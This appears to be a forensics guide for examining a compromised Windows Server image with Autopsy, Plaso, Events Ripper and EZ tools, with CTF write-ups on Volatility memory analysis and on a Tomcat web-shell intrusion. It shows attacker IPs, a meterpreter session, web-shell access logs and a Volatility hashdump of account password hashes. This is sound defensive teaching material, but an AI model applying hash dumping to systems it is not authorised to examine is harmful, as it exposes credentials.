<div align="left"><figure><img src="/files/BjLR651su2g0hyvEZrev" alt=""><figcaption></figcaption></figure></div>

Browse > Select first segment (.E01) of the spanned image set > Open > Finish

<figure><img src="/files/ujZjHmgOezEvUId14K35" alt=""><figcaption></figcaption></figure>

It should now appear like this. You should be able to expand the item under the evidence tree.

<div align="left"><figure><img src="/files/oVEnpM3ZQjXGfSveabD5" alt=""><figcaption></figcaption></figure></div>

The first and third partitions are typically setup during install, and partition 1 is for UEFI, and partition 3 is the recovery partition for the OS.

Expand Partition 2 and you can see the typical Windows folder structure.

<div align="left"><figure><img src="/files/cBJMthcqGuxAqL77AZvJ" alt=""><figcaption></figcaption></figure></div>

Right click the image item (20240212-decrypted-Windows\_Server\_2022.E01) and select Verify Drive/Image

<div align="left"><figure><img src="/files/GxnbsNGLr66y2hXs4dyb" alt=""><figcaption></figcaption></figure></div>

Progress statistics are displayed and once it's finished, you should see the following;

<div align="left"><figure><img src="/files/fXLyUEQ4j97nc2E92Oqm" alt=""><figcaption></figcaption></figure></div>

This image is telling us that the hash of the stream of data within the E01 set matches the hash which was just calculated. This ensures we are working with a valid set of data. In addition to this, it's also good practice to generate SHA1/SHA256 sums of each E01 segment before transit, and then verify them after. This helps identify changes during download/upload/transfer, and again ensures you have a reliable set of data.

[Read this ](https://www.forensicsware.com/blog/e01-file-format/)to understand more about the E01 file structure (including headers, block size, CRC references etc)&#x20;


# Autopsy Forensics

How to use Autopsy to process and examine the Compromised Windows Server 2022 image.

## Setup case file and process E01

Download, install, and run Autopsy.

New Case > Enter case information > Next > (complete optional information) > Finish

<figure><img src="/files/Vs0SH0ELrQmM05IEqAkK" alt=""><figcaption></figcaption></figure>

This results in a new Autopsy case being created in the location you specific. Now we need to add our data source/E01 image file.

Add Data Source > Disk Image or VM File > Next

<div align="left"><figure><img src="/files/9d2Bswi2eZp5PYstfPC0" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/nX9U8OqLTq6DVQMKGe7d" alt=""><figcaption></figcaption></figure></div>

This is where our previous examination of the SYSTEM hive is important - the timezone defaults to GMT -8 but the image is of a system whose timezone offset is GMT/UTC. Change this to GMT+0/UTC.

De-select irrelevant modules and it should look like this

<div align="left"><figure><img src="/files/LfpVJoyxhXVZ9w7w6FRn" alt=""><figcaption></figcaption></figure></div>

We'll look at installing additional ingest modules shortly.

Click Next and wait for Autopsy to ingest the E01.

## Generate timeline


# Plaso

How to process an image using log2timeline/plaso

## Verify E01 image using ewfacquire

Since the other Windows-based processes have included image verification, we'll include the use of ewfverify to verify our E01 set.

```
$ sudo apt install ewf-tools

user@df:~/cases/26038642$ ls -lah
total 11G
drwxrwxr-x 2 user user 4.0K Jul  7 11:37 .
drwxrwxr-x 3 user user 4.0K Jul  7 11:36 ..
-rw-rw-r-- 1 user user 1.5G Jul  5 12:04 20240212-decrypted-Windows_Server_2022.E01
-rw-rw-r-- 1 user user 1.5G Jul  5 12:04 20240212-decrypted-Windows_Server_2022.E02
-rw-rw-r-- 1 user user 1.5G Jul  5 12:04 20240212-decrypted-Windows_Server_2022.E03
-rw-rw-r-- 1 user user 1.5G Jul  5 12:04 20240212-decrypted-Windows_Server_2022.E04
-rw-rw-r-- 1 user user 1.5G Jul  5 12:04 20240212-decrypted-Windows_Server_2022.E05
-rw-rw-r-- 1 user user 1.5G Jul  5 12:04 20240212-decrypted-Windows_Server_2022.E06
-rw-rw-r-- 1 user user 1.4G Jul  5 12:04 20240212-decrypted-Windows_Server_2022.E07
```

You only have to specify the first of the E01 segments to verify the entire spanned set.

```
user@df:~/cases/26038642$ ewfverify 20240212-decrypted-Windows_Server_2022.E01
ewfverify 20140807

Verify started at: Jul 07, 2024 12:11:05
This could take a while

Verify completed at: Jul 07, 2024 12:17:48

Read: 50 GiB (53687091200 bytes) in 6 minute(s) and 43 second(s) with 127 MiB/s (133218588 bytes/second).

MD5 hash stored in file:                9a982399621826a66ff322cc87376e76
MD5 hash calculated over data:          9a982399621826a66ff322cc87376e76

ewfverify: SUCCESS
```

We can see the result is the data set was verified. The hash also matches the result of FTK Imager's verification process.

## Setup and use log2timeline/plaso in Docker

I try to use Docker containers where I can. It helps me separate case files and reduce errors caused by software/version dependencies. You can use plaso on its own, but in this guide we'll use it in a Docker container.

[Follow these steps ](https://plaso.readthedocs.io/en/latest/sources/user/Installing-with-docker.html)to pull the required plaso container and verify that it's working.&#x20;

```
user@df:~/cases/26038642$ docker pull log2timeline/plaso
Using default tag: latest
latest: Pulling from log2timeline/plaso
Digest: sha256:246c53b0c9459f60685b30cb9f749da3fa21159ba2b04c2e6c753150a0850258
Status: Image is up to date for log2timeline/plaso:latest
docker.io/log2timeline/plaso:latest

user@df:~/cases/26038642$ docker run log2timeline/plaso log2timeline.py --version
plaso - log2timeline version 20240308
```

One consideration with using Docker is accessing data stored **on** the host from **within** the container itself. I want to generate a super timeline (all of the parsers) for the entire E01. Take the following command for example (this is one line, it's just wrapped)

{% code overflow="wrap" %}

```
docker run -v /home/user/cases/26038642/:/data/ log2timeline/plaso log2timeline.py --storage-file /data/26038642.plaso /data/20240212-decrypted-Windows_Server_2022.E01
```

{% endcode %}

Let's break this command down;

`docker run`(we're invoking Docker)

`-v /home/user/cases/26038642/:/data/` (we're mapping the folder /home/user/cases/26038642 on the host, to /data/ in the container)

`log2timeline/plaso` (the container we want to run)

`log2timeline.py --storage-file /data/26038642.plaso` (the command/file we're executing (log2timeline.py) along with the name/location of the file we want to store our data in)

`/data/20240212-decrypted-Windows_Server_2022.E01` (our data source - which for E01s, can be the first E01 of the set)

If you execute this, you may see the following error;

{% code overflow="wrap" %}

```
Unable to proceed. More than one partitions found but no mediator to determine how they should be used.
```

{% endcode %}

As the error suggests, there are more than 1 partitions in the image. We can either append`--partitions all` and process all, or we can specify a specific partition. Let's quickly identify which partition we want to inspect.

<pre data-overflow="wrap" data-full-width="false"><code><strong>user@df:~/cases/26038642$ mkdir /mnt/cases
</strong>user@df:~/cases/26038642$ ewfmount 20240212-decrypted-Windows_Server_2022.E01 /mnt/cases
ewfmount 20140807

user@df:~/cases/26038642$ ls /mnt/cases
ewf1

user@df:~/cases/26038642$ disktype /mnt/cases/ewf1

--- /mnt/cases/ewf1
Regular file, size 50 GiB (53687091200 bytes)
DOS/MBR partition map
Partition 1: 100 MiB (104857600 bytes, 204800 sectors from 2048, bootable)
  Type 0x07 (HPFS/NTFS)
  NTFS file system
    Volume size 100.0 MiB (104857088 bytes, 204799 sectors)
Partition 2: 49.29 GiB (52928970752 bytes, 103376896 sectors from 206848)
  Type 0x07 (HPFS/NTFS)
  NTFS file system
    Volume size 49.29 GiB (52928970240 bytes, 103376895 sectors)
Partition 3: 620 MiB (650117120 bytes, 1269760 sectors from 103583744)
  Type 0x27 (Unknown)
  NTFS file system
    Volume size 620.0 MiB (650116608 bytes, 1269759 sectors)

</code></pre>

So our entire command becomes;

{% code overflow="wrap" %}

```
docker run -v /home/user/cases/26038642/:/data/ log2timeline/plaso log2timeline.py --storage-file /data/26038642.plaso /data/20240212-decrypted-Windows_Server_2022.E01 --partitions 2
```

{% endcode %}

<figure><img src="/files/5ccebWPYh7SexVdwUkAq" alt=""><figcaption></figcaption></figure>

It should start processing your image. The amount of time it takes to process is entirely dependent on the specs of your machine.

The resultant file is a 6.3GB SQLite database

{% code overflow="wrap" %}

```
user@df:~/cases/26038642$ ls -lah
6.3G Jul  7 12:51 26038642.plaso

user@df:~/cases/26038642$ file 26038642.plaso
26038642.plaso: SQLite 3.x database, last written using SQLite version 3037002, file counter 5, database pages 1635692, cookie 0x14, schema 4, UTF-8, version-valid-for 5
```

{% endcode %}

Before we convert this SQLite database to a CSV, we need to use a processing option to convert our times to the local time of the victim system. Export the HKLM\SYSTEM hive from the E01 (using FTK Imager or similar) and inspect the following key;

SYSTEM\CurrentControlSet\Control\TimeZoneInformation\TimeZoneKeyName

In the above image, it's 'GMT Standard Time' which is UTC+0. We don't need to change anything when we process our image to adjust the time offset.

We can run the following command to generate a CSV of all events, using the dynamic processing option.

{% code overflow="wrap" %}

```
user@df:~/cases/26038642$ docker run -v /home/user/cases/26038642/:/data/ log2timeline/plaso psort.py /data/26038642.plaso -o dynamic -w /data/26038642.csv
```

{% endcode %}


# Events Ripper

How to process Windows event logs from E01 using Events Ripper

## Download and unzip Events Ripper

<https://github.com/keydet89/Events-Ripper>

<div align="left"><figure><img src="/files/uBlF4bt8WnQ3Q01mIqNz" alt=""><figcaption></figcaption></figure></div>

This took about 5 minutes to process all the events logs from our original image (mounted as G: using AIM). The result is a \~200MB text file.

<div align="left"><figure><img src="/files/WBw1xaRBdc818KDi6Spb" alt=""><figcaption></figcaption></figure></div>

Trawling through 948,134 lines in a text file isn't the most efficient use of time. Events Ripper also includes erip.exe to parse/identify specific events and provide some kind of context to the data. From the GitHub repo;

```
Similar to RegRipper, you can run a single plugin against the events file:

erip -f c:\cases\events.txt -p failedlogins

Or, you can run all plugins (you're so very welcome, Dray) against the events file:

erip -f c:\cases\events.txt -a
```

<div align="left"><figure><img src="/files/M4HoFmMIFPPHJvXwmQyx" alt=""><figcaption></figcaption></figure></div>

After we run erip, the resultant refined file is \~560KB with 7,134 lines.

## Locating relevant entries

Given the nature of our incident, Events Ripper allows us to quickly identify relevant artefacts. Let's look at RDP activity and failed/successful account authentication.

<div align="left"><figure><img src="/files/UUJA8D1kBM7QbF7QDxea" alt=""><figcaption></figcaption></figure></div>

Add these to our accounts of interest, and IPs of interest.

<div align="left"><figure><img src="/files/IziLvdSUCeMCRs6m6KKE" alt=""><figcaption></figcaption></figure></div>

We can see that network type 3 (network based login) has a significant quantity of events. We can also see IP addresses associated with those logins. Further, 36.133.110.87 also appears in the list again. Update our running list of IPs.

<div align="left"><figure><img src="/files/pjFNzCosHsHnyZppXPbt" alt=""><figcaption></figcaption></figure></div>

Type 10 logins (remote interactive - RDP).

Source host machine (kali).

More logins from the same remote IP addresses.

<div align="left"><figure><img src="/files/tq2Zn6jJMIL3mubik5Hz" alt=""><figcaption></figcaption></figure></div>

Based on the following artefacts/entries, we should be able to refine our initial assessment to activity from the source IP addresses, focusing on the 4 user accounts (if they all exist), around 5th February 2024 \~23:02 Z/UTC.

## Running tally of indicators

Accounts:

* admin
* root
* user
* administrator

Hostnames:

* WIN-NI8FBK23SLO
* kali  :eyes:

IPs:

* 185.229.66.183 (failed login source, type 10 login source)
* 36.133.110.87 (failed login source, successful login source)
* 31.220.85.162 (successful login source)
* 195.21.1.97 (type 3 and 10 logins)

{% embed url="<https://windowsir.blogspot.com/2024/07/what-is-events-ripper.html>" %}


# EZ tools

How to process and interpret various artefacts using the EZ tools suite.

To follow along, download and install the EZ tools suite (available here <https://ericzimmerman.github.io/#!index.md>)&#x20;

You need to have exported logical files from the E01, or you can mount the image using AIM (which we'll cover here).

## Mount the E01 in Windows

Download Arsenal Imager Mounter (from [here](https://arsenalrecon.com/products/arsenal-image-mounter)) and install it.

Load AIM and select 'Mount disk image'. Select the first E01 segment and select **open**.

<div align="left"><figure><img src="/files/BwkJban7JJPuDkO81sNi" alt=""><figcaption></figcaption></figure></div>

Select 'Disk device, read only' and leave sector size as default (512). We don't intend to make changes to the mounted disk, as we only need to read **from** it. If we were mounting the disk to use as a VM, or wanted to perform some kind of temporary write operation (write operations being stored in a separate location, not committed to the files themselves) then we'd need to mount with the 'write temporary' option.

From the initial information provided, we have sufficient information to start processing. We want to target the following artefacts;

* Windows Event Logs (RDP was exposed to the internet, so we want to identify any failed/successful authentication attempts, as well as incoming RDP connections)
* MFT (were any files dropped by the threat actor? Ransomware executables? Staged archived/zipped files prior to exfil?)
* Prefetch (noting this is a Windows Server install, we need to confirm if Prefetch/Superfetch is enabled or if artefacts exist)
* Registry hives (NTUSER.dat, AmCache, SYSTEM, SAM, SOFTWARE, etc - we want to identify if any executables were launched, any new scheduled/executed tasks, etc)

## Process Windows Event Logs with EvtxeCmd

Default location for Windows logs is C:\Windows\System32\winevt\Logs

If you run EvtxeCmd.exe in an elevated command prompt by itself, you'll see a list of possible options. In this instance, we're just going to process a series of files within a directory with a single CSV output.

<div align="left"><figure><img src="/files/N5SnNtBKXtAujoxHxDyb" alt=""><figcaption></figcaption></figure></div>

Our final command

<figure><img src="/files/Pdtb1PsKwfV7cuO0xOef" alt=""><figcaption></figcaption></figure>

## Process MFT with MFTECmd

The MFT ($MFT) resides in the root of the volume. In this instance, we're looking at the primary drive from the compromised server, and its original volume was C: (so it would've been C:\\$MFT) but since we mounted it with AIM, it's been assigned the letter G: - so it'll exist at G:\\$MFT

<div align="left"><figure><img src="/files/CZWy9ekrDDiZTJ2KSHMs" alt=""><figcaption></figcaption></figure></div>

## Process Prefetch with PECmd

In this instance, Prefetch/Superfetch artefacts don't exist (Prefetch is disabled by default on Windows Server operating systems). This&#x20;

## Process registry hives with Registry Explorer

We'll start with the SOFTWARE and SYSTEM hives and pivot from there as the analysis progresses.

Export SYSTEM and SOFTWARE hives and corresponding LOG files.

Load Registry Explorer > File > Load hive > Select SOFTWARE and corresponding .LOG files

<div align="left"><figure><img src="/files/S0o0DMf2292VJWgSo23d" alt=""><figcaption></figcaption></figure></div>

Do the same for the SYSTEM hive.


# DEFCON 2019 forensics

This is a brief write up for the DEFCON 2019 forensics CTF

Flag Format-flag Everything after the – is what you need to submit, your answer is the xyx.

## 1 / get your volatility on (5)

What is the SHA1 hash of triage.mem?

```
$ sha1sum winmem.mem
$ c95e8cc8c946f95a109ea8e47a6800de10a27abd winmem.mem
```

## 2 / pr0file (10)

What profile is the most appropriate for this machine? (ex: Win10x86\_14393)

```
$ python vol.py -f /mnt/ctf/Defcon2019/winmem.mem imageinfo
```

```
Volatility Foundation Volatility Framework 2.6.1  
INFO : volatility.debug : Determining profile based on KDBG search...   
Suggested Profile\(s\) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64\_24000, Win2008R2SP1x64\_23418, Win2008R2SP1x64, Win7SP1x64\_24000, Win7SP1x64\_23418
```

Since we can't just guess (there may be points deducted for incorrect guesses), we should at least try to find the most appropriate profile based on kernel debug scan (kdbgscan) which identifies the number of modules loaded.

```
$ python vol.py -f /mnt/ctf/Defcon2019/winmem.mem kdbgscan
```

## 3 / hey, write this down (12)

What was the process ID of notepad.exe?

```
$ python vol.py -f /mnt/ctf/Defcon2019/winmem.mem --profile=Win7SP1x64 pslist

0xfffffa80054f9060 notepad.exe 3032 1432 1 60 1 0 2019-03-22 05:32:22 UTC+0000
```

## 4 / wscript can haz children (14)

Name the child processes of wscript.exe.

Instead of manually looking at PID and PPID (parent PID), we use pstree

```
$ python vol.py -f /mnt/ctf/Defcon2019/winmem.mem --profile=Win7SP1x64 pstree

. 0xfffffa8005a80060:wscript.exe 5116 3952 8 312 2019-03-22 05:35:32 UTC+0000  
... 0xfffffa8005a1d9e0:UWkpjFjDzM.exe 3496 5116 5 109 2019-03-22 05:35:33 UTC+0000  
.... 0xfffffa8005bb0060:cmd.exe 4660 3496 1 33 2019-03-22 05:35:36 UTC+0000
```

## 5 / tcpip settings (18)

What was the IP address of the machine at the time the RAM dump was created?

```
$ python vol.py -f /mnt/ctf/Defcon2019/winmem.mem --profile=Win7SP1x64 netscan`
```

flag

(Can also be dumped from TCPIP settings in registry)

## 6 / intel (18)

Based on the answer regarding to the infected PID, can you determine what the IP of the attacker was?

`0x13e397190 TCPv4 10.0.0.101:49217 10.0.0.106:4444 ESTABLISHED 3496 UWkpjFjDzM.exe`

flag

## 7 / i <3 windows dependencies (20)

What process name is VCRUNTIME140.dll associated with?

```
$ python vol.py -f /mnt/ctf/Defcon2019/winmem.mem --profile=Win7SP1x64 dlllist \| grep -B 50 VCRUNTIME140
```

```
OfficeClickToR pid: 1136 Command line : "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service  
EXCEL.EXE pid: 1272 Command line : "C:\Program Files \(x86\)\Microsoft Office\root\Office16\EXCEL.EXE"
OUTLOOK.EXE pid: 3688 Command line : "C:\Program Files \(x86\)\Microsoft Office\root\Office16\OUTLOOK.EXE"  
iexplore.exe pid: 2780 Command line : "C:\Program Files \(x86\)\Internet Explorer\iexplore.exe"
POWERPNT.EXE pid: 4048 Command line : "C:\Program Files \(x86\)\Microsoft Office\root\Office16\POWERPNT.EXE"
```

flag

## 8 mal-ware-are-you (20)

What is the md5 hash value the potential malware on the system?

Dump the exe and hash it

```
$ python vol.py -f /mnt/ctf/Defcon2019/winmem.mem --profile=Win7SP1x64 procdump -p 3496 -D /mnt/ctf/Defcon2019/dumpdir
md5sum executable.3496.exe
```

flag

## 9 lm-get bobs hash (24)

What is the LM hash of bobs account?

```
$ python vol.py -f /mnt/ctf/Defcon2019/winmem.mem --profile=Win7SP1x64 hashdump
```

We look at LM hash format;

`text$ python vol.py -f /mnt/ctf/Defcon2019/winmem.mem --profile=Win7SP1x64 hashdump`

`Volatility Foundation Volatility Framework 2.6.1 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Bob:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::`

````
This is NTLM format. LM is the first part, NTLM is the second part.

flag

## 10 vad the impaler \(25\)

What protections does the VAD node at 0xfffffa800577ba10 have?

```text
$ python vol.py -f /mnt/ctf/Defcon2019/winmem.mem --profile=Win7SP1x64 vadinfo \| grep -B 10 -A 10 '0xfffffa800577ba10'
````

(grep -B 10 for 10 lines before, and -A 10 for 10 lines after).

`VAD node @ 0xfffffa800577ba10 Start 0x0000000000030000 End 0x0000000000033fff Tag Vad Flags: NoChange: 1, Protection: 1 Protection: PAGE_READONLY`

flag

## 11 more vads?! (25)

What protections did the VAD starting at 0x00000000033c0000 and ending at 0x00000000033dffff have?

```
$ python vol.py -f /mnt/ctf/Defcon2019/winmem.mem --profile=Win7SP1x64 vadinfo \| grep -A 5 '0x00000000033c0000'`
```

`VAD node @ 0xfffffa80052652b0 Start 0x00000000033c0000 End 0x00000000033dffff Tag VadS Flags: CommitCharge: 32, PrivateMemory: 1, Protection: 24 Protection: PAGE_NOACCESS Vad Type: VadNone`

flag

## 12 vacation bible school (25)

There was a VBS script run on the machine. What is the name of the script? (submit without file extension)

cmdscan would provide manually entered CMD history. We want to find all input & output consoles - no vbscript cmdline

```
$ python vol.py -f /mnt/ctf/Defcon2019/winmem.mem --profile=Win7SP1x64 cmdline \| grep vbs
Volatility Foundation Volatility Framework 2.6.1
Command line : "C:\Windows\System32\wscript.exe" //B //NOLOGO %TEMP%\vhjReUDEuumrX.vbs
```

flag

## 13 thx microsoft (25)

An application was run at 2019-03-07 23:06:58 UTC, what is the name of the program? (Include extension)

We're looking for historically executed programs. pslist shows current processes so it's not listed.

```
$ python vol.py -f /mnt/ctf/Defcon2019/winmem.mem --profile=Win7SP1x64 shimcache \| grep '2019-03-07'
2019-03-07 23:06:58 UTC+0000 \??\C:\Program Files \(x86\)\Microsoft\Skype for Desktop\Skype.exe
```

flag

## 14 lightbulb moment (35)

What was written in notepad.exe in the time of the memory dump?

Identify the PID based on pslist output pid=3032 use memdump to dump process's memory, not the executable/process itself (that would be procdump).

```
$ python vol.py -f /mnt/ctf/Defcon2019/winmem.mem --profile=Win7SP1x64 memdump -p 3032 -D /mnt/ctf/Defcon2019/dumpdir/
```

## 15 8675309 (35)

What is the shortname of the file at file record 59045? mftparser

```
$ python vol.py -f /mnt/ctf/Defcon2019/winmem.mem --profile=Win7SP1x64 mftparser \| grep -B 20 -A 20 '59045'
```

`$OBJECT_ID Object ID: 40000000-0000-0000-0010-000000000000 Birth Volume ID: 19050000-0000-0000-1905-000000000000 Birth Object ID: 31015ed0-1900-ffff-ffff-ffff82794711 Birth Domain ID: ffffffff-8279-4711-0000-000000000000`

`MFT entry found at offset 0x2193d400 Attribute: In Use & File Record Number: 59045 Link count: 2`

`$STANDARD_INFORMATION Creation Modified MFT Altered Access Date Type 2019-03-17 06:50:07 UTC+0000 2019-03-17 07:04:43 UTC+0000 2019-03-17 07:04:43 UTC+0000 2019-03-17 07:04:42 UTC+0000 Archive`

`$FILE_NAME Creation Modified MFT Altered Access Date Name/Path 2019-03-17 06:50:07 UTC+0000 2019-03-17 07:04:43 UTC+0000 2019-03-17 07:04:43 UTC+0000 2019-03-17 07:04:42 UTC+0000 Users\Bob\DOCUME~1\EMPLOY~1\EMPLOY~1.XLS`

`$FILE_NAME Creation Modified MFT Altered Access Date Name/Path 2019-03-17 06:50:07 UTC+0000 2019-03-17 07:04:43 UTC+0000 2019-03-17 07:04:43 UTC+0000 2019-03-17 07:04:42 UTC+0000 Users\Bob\DOCUME~1\EMPLOY~1\EmployeeInformation.xlsx`

`$OBJECT_ID Object ID: 00fe50d2-4841-e911-8751-000c2958bc5f`

flag

## 16 whats-a-metasploit? (50)

This box was exploited and is running meterpreter. What PID was infected? xfffffa8005a1d9e0 UWkpjFjDzM.exe 3496 5116 5 109 1 1 2019-03-22 05:35:33 UTC+0000

Dodgy. Let's dump the process and upload it to virus total.

```
$ sha1sum executable.3496.exe ab120a232492dcfe8ff49e13f5720f63f0545dc2 executable.3496.exe
```

<https://www.hybrid-analysis.com/sample/b6bdfee2e621949deddfc654dacd7bb8fce78836327395249e1f9b7b5ebfcfb1?environmentId=100>

flag


# Tomcat shells

## Tomcat shells

## Web shells memory write up

WIN-CEKM08E74HR-20150611-222930.raw

All I know is that this dump is from a machine running a web server which has been compromised. I don't know how it was compromised, nor do I have any other details about the server itself.

Identify the OS profile\
Set environment variable 'mem' to /mnt/volatility/DF/WIN-CEKM08E74HR-20150611-222930.raw

```
$ cd /root/volatility
$ mem=/mnt/volatility/DF/WIN-CEKM08E74HR-20150611-222930.raw
$ python vol.py -f $mem imageinfo
```

Volatility results

```
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : VistaSP1x86, Win2008SP1x86, Win2008SP2x86, VistaSP2x86
                     AS Layer1 : IA32PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/volatility/DF/WIN-CEKM08E74HR-20150611-222930.raw)
                      PAE type : No PAE
                           DTB : 0x122000L
                          KDBG : 0x8190ac98L
          Number of Processors : 1
     Image Type (Service Pack) : 2
                KPCR for CPU 0 : 0x8190b800L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2015-06-11 22:29:32 UTC+0000
     Image local date and time : 2015-06-11 18:29:32 -0400
```

Would be reasonable to assume it will be Win2008 based on the 'web server' part of the challenge.

```
$ python vol.py -f $mem --profile=Win2008SP1x86 pslist
```

Processes of interest;

```
0x831f3d90 cmd.exe                3248   1728      0 --------      0      0 2015-06-11 22:21:49 UTC+0000   2015-06-11 22:21:49 UTC+0000
0x8363c7f0 tasklist.exe           3256   3248      0 --------      0      0 2015-06-11 22:21:49 UTC+0000   2015-06-11 22:21:49 UTC+0000
0x835f5718 cmd.exe                3520   1728      0 --------      0      0 2015-06-11 22:24:04 UTC+0000   2015-06-11 22:24:04 UTC+0000
0x830e9d90 cmd.exe                3572   2032      1       17      0      0 2015-06-11 22:25:00 UTC+0000
0x8362fca0 bg.jpg                 3580   3572      1       61      0      0 2015-06-11 22:25:00 UTC+0000
0x835eba10 cmd.exe                3604   1728      0 --------      0      0 2015-06-11 22:25:15 UTC+0000   2015-06-11 22:25:15 UTC+0000
0x836407b0 cmd.exe                3612   1728      0 --------      0      0 2015-06-11 22:25:24 UTC+0000   2015-06-11 22:25:24 UTC+0000
0x830e2d90 tasklist.exe           3620   3612      0 --------      0      0 2015-06-11 22:25:24 UTC+0000   2015-06-11 22:25:24 UTC+0000
0x83693bc0 TrustedInstalle        2364    596      3      104      0      0 2015-06-11 22:26:34 UTC+0000
0x832e7020 csrss.exe              2664   2684      8      188      2      0 2015-06-11 22:26:55 UTC+0000
0x83125cd8 winlogon.exe           2732   2684      3      114      2      0 2015-06-11 22:26:55 UTC+0000
0x82a3f530 taskeng.exe            2448   1012      9      226      2      0 2015-06-11 22:27:17 UTC+0000
0x83681610 dwm.exe                2860   1160      3       70      2      0 2015-06-11 22:27:17 UTC+0000
0x837241d8 explorer.exe           2428   2856     17      425      2      0 2015-06-11 22:27:18 UTC+0000
0x83117020 jusched.exe            3056   2428      1       50      2      0 2015-06-11 22:27:18 UTC+0000
0x83632d08 VBoxTray.exe           3060   2428      9      228      2      0 2015-06-11 22:27:18 UTC+0000
0x83201b90 Tomcat7w.exe           2816   2428      2       50      2      0 2015-06-11 22:27:18 UTC+0000
0x83116ad8 wuauclt.exe            3360   1012      2      142      2      0 2015-06-11 22:27:32 UTC+0000
0x8311ec10 cmd.exe                4032   2428      1       19      2      0 2015-06-11 22:29:10 UTC+0000
```

Server appears to be a Windows 2008 box running Tomcat7.\
Pull network information

```
$ python vol.py -f $mem --profile=Win2008SP1x86 netscan

0x1eda4db0         TCPv4    -:8080                         58.64.141.245:1057   CLOSED           1728     Tomcat7.exe
```

Looks like this server is listening on 192.168.56.30.\
There's a remote connection associated with PID 1728 / Tomcat7.exe\
This PID is also the PPID for numerous cmd.exe

Let's run pstree to see the family (could also run pstree -v)

```
 $ python vol.py -f $mem --profile=Win2008SP1x86 pstree

0x837241d8:explorer.exe                             2428   2856     17    425 2015-06-11 22:27:18 UTC+0000
. 0x83201b90:Tomcat7w.exe                            2816   2428      2     50 2015-06-11 22:27:18 UTC+0000
. 0x83117020:jusched.exe                             3056   2428      1     50 2015-06-11 22:27:18 UTC+0000
. 0x8311ec10:cmd.exe                                 4032   2428      1     19 2015-06-11 22:29:10 UTC+0000

. 0x83139650:services.exe                             596    520      6    234 2015-06-11 22:05:29 UTC+0000
.. 0x832dc560:Tomcat7.exe                            1728    596     28    360 2015-06-11 22:05:56 UTC+0000
... 0x835eba10:cmd.exe                               3604   1728      0 ------ 2015-06-11 22:25:15 UTC+0000
... 0x836407b0:cmd.exe                               3612   1728      0 ------ 2015-06-11 22:25:24 UTC+0000
.... 0x830e2d90:tasklist.exe                         3620   3612      0 ------ 2015-06-11 22:25:24 UTC+0000
... 0x831f3d90:cmd.exe                               3248   1728      0 ------ 2015-06-11 22:21:49 UTC+0000
.... 0x8363c7f0:tasklist.exe                         3256   3248      0 ------ 2015-06-11 22:21:49 UTC+0000
... 0x835f5718:cmd.exe                               3520   1728      0 ------ 2015-06-11 22:24:04 UTC+0000
```

Dump Tomcat PID memory (1728)

```
$ python vol.py -f $mem --profile=Win2008SP1x86 memdump -p 1728 -D /mnt/volatility/DF/tomcat-dump/
```

Strings output 1728.dmp to readable

```
$ strings -a /mnt/volatility/DF/tomcat-dump/1728.dmp > /mnt/volatility/DF/tomcat-dump/1728strings.txt

COMPUTERNAME=WIN-CEKM08E74HR
ComSpec=C:\Windows\system32\cmd.exe
DFSTRACINGON=FALSE
FP_NO_HOST_CHECK=NO
LOCALAPPDATA=C:
2\config\systemprofile\AppData\Local
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Path=C:\ProgramData\Oracle\Java\javapath;C:\Wi
:\Windows;C:\Windows\System32\Wbem
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=
ENTIFIER=x86 Family 6 Model 42 Stepping 7, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=2a07
ProgramData=C:\Program
UvDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Windows\TEMP
TMP=C:\Windows\TEMP
Format
USERDOMAIN=WORKGROUP
USERNAME=WIN-CEKM08E74HR$
USERPROFILE=C:\Windows\system32\config\systemprofile
windir=C:\Windows

       "C:\Program Files\Apache Software Foundation\Tomcat 7.0\bin\Tomcat7.exe" //RS//Tomcat7

58.64.141.245 - tomcat [11/Jun/2015:18:07:04 -0400] "POST /manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=262D313C4A6E085593AF3CAD4F4E7A99 HTTP/1.1" 200 158

58.64.141.245 - - [11/Jun/2015:18:07:27 -0400] "POST /webfiles/ HTTP/1.1" 200 2367
58.64.141.245 - - [11/Jun/2015:18:07:37 -0400] "POST /webfiles/ HTTP/1.1" 200 2460
58.64.141.245 - - [11/Jun/2015:18:07:51 -0400] "POST /webfiles/ HTTP/1.1" 200 2388
58.64.141.245 - - [11/Jun/2015:18:09:26 -0400] "POST /webfiles/ HTTP/1.1" 200 8973
58.64.141.245 - - [11/Jun/2015:18:12:16 -0400] "POST /webfiles/ HTTP/1.1" 200 48896
58.64.141.245 - - [11/Jun/2015:18:12:42 -0400] "POST /webfiles/ HTTP/1.1" 200 2245
58.64.141.245 - - [11/Jun/2015:18:13:16 -0400] "POST /webfiles/ HTTP/1.1" 200 2278
58.64.141.245 - - [11/Jun/2015:18:15:24 -0400] "POST /webfiles/ HTTP/1.1" 200 2261
58.64.141.245 - - [11/Jun/2015:18:15:34 -0400] "POST /webfiles/ HTTP/1.1" 200 5149
58.64.141.245 - - [11/Jun/2015:18:16:31 -0400] "POST /webfiles/ HTTP/1.1" 200 5227
58.64.141.245 - - [11/Jun/2015:18:19:52 -0400] "POST /webfiles/ HTTP/1.1" 200 5149
58.64.141.245 - - [11/Jun/2015:18:21:49 -0400] "POST /webfiles/ HTTP/1.1" 200 5227
58.64.141.245 - - [11/Jun/2015:18:24:04 -0400] "POST /webfiles/ HTTP/1.1" 200 2271
58.64.141.245 - - [11/Jun/2015:18:25:15 -0400] "POST /webfiles/ HTTP/1.1" 200 2271
58.64.141.245 - - [11/Jun/2015:18:25:25 -0400] "POST /webfiles/ HTTP/1.1" 200 5305
```

